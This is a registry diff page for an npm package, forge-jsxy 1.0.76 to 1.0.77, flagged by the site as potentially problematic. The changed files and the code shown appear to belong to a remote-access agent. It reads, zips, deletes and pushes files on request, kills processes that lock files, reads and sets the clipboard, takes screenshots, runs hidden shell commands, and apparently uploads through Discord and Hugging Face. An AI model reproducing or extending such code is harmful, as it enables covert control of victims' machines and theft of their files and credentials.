forge-jsxy 1.0.76 → 1.0.77

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

Files changed (38) hide show
  1. package/assets/codicons/codicon.css +629 -0
  2. package/assets/codicons/codicon.ttf +0 -0
  3. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  4. package/assets/explorer-highlight/highlight.min.js +1213 -0
  5. package/assets/files-explorer-template.html +2940 -692
  6. package/assets/remote-control-template.html +78 -22
  7. package/dist/agentRunner.js +6 -0
  8. package/dist/assets/codicons/codicon.css +629 -0
  9. package/dist/assets/codicons/codicon.ttf +0 -0
  10. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  11. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  12. package/dist/assets/files-explorer-template.html +2941 -693
  13. package/dist/assets/remote-control-template.html +78 -22
  14. package/dist/discordAgentScreenshot.js +6 -1
  15. package/dist/discordRateLimit.js +22 -11
  16. package/dist/discordRelayUpload.js +4 -2
  17. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  18. package/dist/explorerHeavyDirSkips.js +26 -0
  19. package/dist/exportMirrorCopy.d.ts +13 -1
  20. package/dist/exportMirrorCopy.js +89 -2
  21. package/dist/filesExplorer.d.ts +9 -0
  22. package/dist/filesExplorer.js +86 -4
  23. package/dist/fsMessages.d.ts +2 -0
  24. package/dist/fsMessages.js +29 -8
  25. package/dist/fsProtocol.d.ts +8 -4
  26. package/dist/fsProtocol.js +923 -151
  27. package/dist/hfCredentials.d.ts +1 -1
  28. package/dist/hfCredentials.js +1 -1
  29. package/dist/hfSeqIdLookup.d.ts +2 -2
  30. package/dist/hfSeqIdLookup.js +11 -5
  31. package/dist/hfUpload.d.ts +2 -2
  32. package/dist/hfUpload.js +103 -17
  33. package/dist/relayAgent.js +2 -2
  34. package/dist/relayDashboardGate.js +42 -55
  35. package/dist/relayServer.js +154 -6
  36. package/dist/syncClient.js +5 -0
  37. package/dist/windowsInputSync.js +20 -1
  38. package/package.json +3 -1
@@ -1,10 +1,25 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.jsonBoolLoose = jsonBoolLoose;
3
4
  exports.buildFsResponse = buildFsResponse;
4
5
  /**
5
6
  * Filesystem explorer JSON-RPC responses — same types as cfgmgr.remote._fs_response.
6
7
  */
7
8
  const fsProtocol_1 = require("./fsProtocol");
9
+ /** Treat WS JSON flags safely — `Boolean("false")` is true in JS; some proxies stringify booleans. */
10
+ function jsonBoolLoose(v) {
11
+ if (v === true)
12
+ return true;
13
+ if (v === false || v == null)
14
+ return false;
15
+ if (typeof v === "number")
16
+ return v !== 0 && Number.isFinite(v);
17
+ if (typeof v === "string") {
18
+ const s = v.trim().toLowerCase();
19
+ return s === "1" || s === "true" || s === "yes" || s === "on";
20
+ }
21
+ return false;
22
+ }
8
23
  async function buildFsResponse(msg, allowFilesystem) {
9
24
  /** Always echo a string — avoids silent client mismatch when JSON coerces ids. */
10
25
  const rid = String(msg.request_id ?? "");
@@ -45,8 +60,8 @@ async function buildFsResponse(msg, allowFilesystem) {
45
60
  off = 0;
46
61
  }
47
62
  const chunk = Boolean(msg.chunk);
48
- const force = Boolean(msg.force);
49
- const forceKill = Boolean(msg.force_kill);
63
+ const force = jsonBoolLoose(msg.force);
64
+ const forceKill = jsonBoolLoose(msg.force_kill);
50
65
  const result = chunk
51
66
  ? await (0, fsProtocol_1.fsReadFileChunked)(pathStr, null, mbInt, off, rid, force, forceKill)
52
67
  : (0, fsProtocol_1.fsReadFile)(pathStr, null, mbInt, off, false);
@@ -54,6 +69,11 @@ async function buildFsResponse(msg, allowFilesystem) {
54
69
  }
55
70
  if (msgType === "fs_zip") {
56
71
  const pathStr = String(msg.path ?? "");
72
+ const pathsRaw = msg.paths;
73
+ const pathsArr = Array.isArray(pathsRaw) && pathsRaw.length > 0
74
+ ? pathsRaw.map((x) => String(x ?? "").trim()).filter(Boolean)
75
+ : null;
76
+ const pathsOverride = pathsArr && pathsArr.length > 1 ? pathsArr : null;
57
77
  let mbInt = null;
58
78
  const mb = msg.max_bytes;
59
79
  if (mb != null) {
@@ -69,9 +89,9 @@ async function buildFsResponse(msg, allowFilesystem) {
69
89
  off = 0;
70
90
  }
71
91
  const chunk = Boolean(msg.chunk);
72
- const force = Boolean(msg.force);
73
- const forceKill = Boolean(msg.force_kill);
74
- const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill);
92
+ const force = jsonBoolLoose(msg.force);
93
+ const forceKill = jsonBoolLoose(msg.force_kill);
94
+ const result = await (0, fsProtocol_1.fsZipRead)(pathStr, String(rid), null, off, chunk, mbInt, force, forceKill, pathsOverride);
75
95
  return { type: "fs_zip_result", request_id: rid, ...result };
76
96
  }
77
97
  if (msgType === "fs_parent") {
@@ -81,8 +101,8 @@ async function buildFsResponse(msg, allowFilesystem) {
81
101
  }
82
102
  if (msgType === "fs_delete") {
83
103
  const pathStr = String(msg.path ?? "");
84
- const force = Boolean(msg.force);
85
- const forceKill = Boolean(msg.force_kill);
104
+ const force = jsonBoolLoose(msg.force);
105
+ const forceKill = jsonBoolLoose(msg.force_kill);
86
106
  const result = await (0, fsProtocol_1.fsDeletePath)(pathStr, null, force || forceKill ? { force, forceKill } : undefined);
87
107
  return { type: "fs_delete_result", request_id: rid, ...result };
88
108
  }
@@ -127,7 +147,8 @@ async function buildFsResponse(msg, allowFilesystem) {
127
147
  return { type: "rc_clipboard_set_result", request_id: rid, ...result };
128
148
  }
129
149
  if (msgType === "rc_file_push") {
130
- const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""));
150
+ const targetDir = msg.path != null ? String(msg.path) : undefined;
151
+ const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""), targetDir);
131
152
  return { type: "rc_file_push_result", request_id: rid, ...result };
132
153
  }
133
154
  return {
@@ -16,7 +16,8 @@ export declare function fsReadFile(pathStr: string, roots?: string[] | null, max
16
16
  * Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
17
17
  * {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
18
18
  * then chunks are served from that copy so another process holding the original open is less likely to break reads.
19
- * Larger files fall back to reading the live path each chunk (no extra disk). Empty `request_id` always uses live path.
19
+ * Larger files read the live path each chunk **`force_kill` still runs {@link forceUnlockPath}** at offset 0 (same as mirror path).
20
+ * Empty `request_id` always uses live path.
20
21
  */
21
22
  export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
22
23
  /**
@@ -49,7 +50,6 @@ export declare function fsParentDirectory(pathStr: string, roots?: string[] | nu
49
50
  export declare function fsRootsPayload(): Record<string, unknown>;
50
51
  export declare function purgeStaleZipSessions(): void;
51
52
  export declare function purgeStaleChunkedFileReadSessions(): void;
52
- /** Drop expired folder-zip and chunked file-read temp sessions (paths + numbers only; frees disk). */
53
53
  export declare function purgeStaleExplorerStaging(): void;
54
54
  /**
55
55
  * Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
@@ -59,8 +59,12 @@ export declare function purgeAllExplorerStagingSync(): void;
59
59
  /**
60
60
  * Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
61
61
  * First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
62
+ *
63
+ * **`paths` (2+ entries):** mirror each selection into one staging folder (unique names), then zip once (`selection.zip`),
64
+ * matching Hub multi-upload semantics.
65
+ * **`path`:** zip one directory (legacy).
62
66
  */
63
- export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
67
+ export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean, pathsOverride?: string[] | null): Promise<Record<string, unknown>>;
64
68
  /**
65
69
  * Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
66
70
  * (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
@@ -107,7 +111,7 @@ export declare function fsWindowsScreenshotCapture(options?: NormalizedScreensho
107
111
  export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
108
112
  export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
109
113
  export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
110
- export declare function fsRemoteFilePush(name: string, b64: string): Promise<Record<string, unknown>>;
114
+ export declare function fsRemoteFilePush(name: string, b64: string, targetDir?: string): Promise<Record<string, unknown>>;
111
115
  /**
112
116
  * Run a shell command on the agent host (same privilege as the forge-agent process).
113
117
  * Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).